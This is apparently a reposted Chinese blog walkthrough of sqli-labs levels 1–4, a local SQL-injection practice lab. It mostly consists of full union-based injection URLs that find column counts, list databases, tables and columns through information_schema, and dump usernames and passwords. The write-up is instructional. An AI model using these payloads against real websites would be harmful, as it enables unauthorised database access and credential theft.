MySQL注入:sqli-labs的less1-4

 

  less-1:

1.  按照提示先进行正规的输入,输入“http://127.0.0.1/sqli/Less-1/?id=1”表示没啥问题,正常显示了

  

2.  直接尝试单引号" ' "进行注入,直接返回数据库报错,{''1'' LIMIT 0,1'},最后出现一个单引号,表示id这个参数应该是单引号闭合的命令。不信的话可以后面加入 杠杠空格"-- " 进行数据库语句注释,应该能正常显示了。

  ps: 单引号在url会转义成 %27,空格会被转义成%20,url最后的空格会被浏览器舍去,所以加上+,因为+会被转换成空格。  

  

  

3.  首先将错误信息前后的单引号都去掉,变成{'1'' LIMIT 0,1}。我们是在id后面注入了单引号,再把单引号去掉,变成那么{'1' LIMIT 0,1},用脚都能猜出来,语句大概就是“select ... from ... where id='xxx' limit 0,1”。

   所以,我们可以直接找个id值不存在的,防止数据库真的返回数据,这里将id值写成一个很大的值,id=999。后面union我们需要的数据库语句。用数据库语言进行探测。"http://127.0.0.1/sqli/Less-1/?id=999' union ${sql} --+"

4.  我们并不知道他输出的是数据库搜索结果有哪几个列,我们需要猜测他的输出有几个列,name和psaaword分别是对应的第几个列,所以先进行测探,当输出列为4的时候,报错了,所以,数据库语言执行次输出结果为3列。

   执行"http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3,4 --+"

      这里用order by也行,看习惯吧。

  

5.  那么。我们去看看那几列是实际输出的页面的呢,执行“http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,3 --+”,很显然,列2和3就是对应的name和password

  

6.  接下来可以拉去所有数据库的名称了,用“group_concat(schema_name) from information_schema.schemata”语句将结果输出出来到列3。

   执行"http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(schema_name) from information_schema.schemata --+"拉出所有的数据库。

  

7.  拉指定数据库内的内容,执行“http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(TABLE_NAME) from information_schema.tables where table_schema="security" --+”,具体修改table_schema的值就行了。

  

  如果是拉去当前数据库的值,最后table_schema的值改为database()

  

8.  获取users表单下所有的数据库元素,执行"http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(column_name)  from information_schema.columns where table_schema="security" and table_name="users" --+"

  

 

9.  拉去所有的user和密码,执行“http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(username,0x3a,password) from users--+

   ps:这里的0x3a表示冒号-.-

   

 

less2:

  基本思路一样,也是单引号注入,返回{'' LIMIT 0,1'},推出语句,“select ... from ... where id=xxx limit 0,1”,此处id值为数字。

  直接将id值赋值成999,后面跟上自己需要的语句即可,“http://127.0.0.1/sqli/Less-2/?id=999 union select 1,2,group_concat(username,0x3a,password) from users--+

less3:

  基本思路一样,也是单引号注入,返回{''1'') LIMIT 0,1'},推出id应该是被单引号包含,因为还有个括号,说明id单引号外层还有括号。语句,“select ... from ... where id=('xxx') limit 0,1”。

  直接将id值赋值成999,后面跟上自己需要的语句即可,“http://127.0.0.1/sqli/Less-3/?id=999') union select 1,2,group_concat(username,0x3a,password) from users--+

less4:

  此处单引号注入无效了,不过没关系,我们换一个,一个一个试,用双引号来注入,返回{ '"1"") LIMIT 0,1'}。

  取消两边单引号,在删掉我们注入的双引号,得出{ "1") LIMIT 0,1},那么语句,“select ... from ... where id=("xxx") limit 0,1”。

  注入语句:"http://127.0.0.1/sqli/Less-4/?id=999") union select 1,2,group_concat(username,0x3a,password) from users--+"

 

用sqlmap傻瓜式就简单了:

 

转载于:https://www.cnblogs.com/gg472074534/p/11309495.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值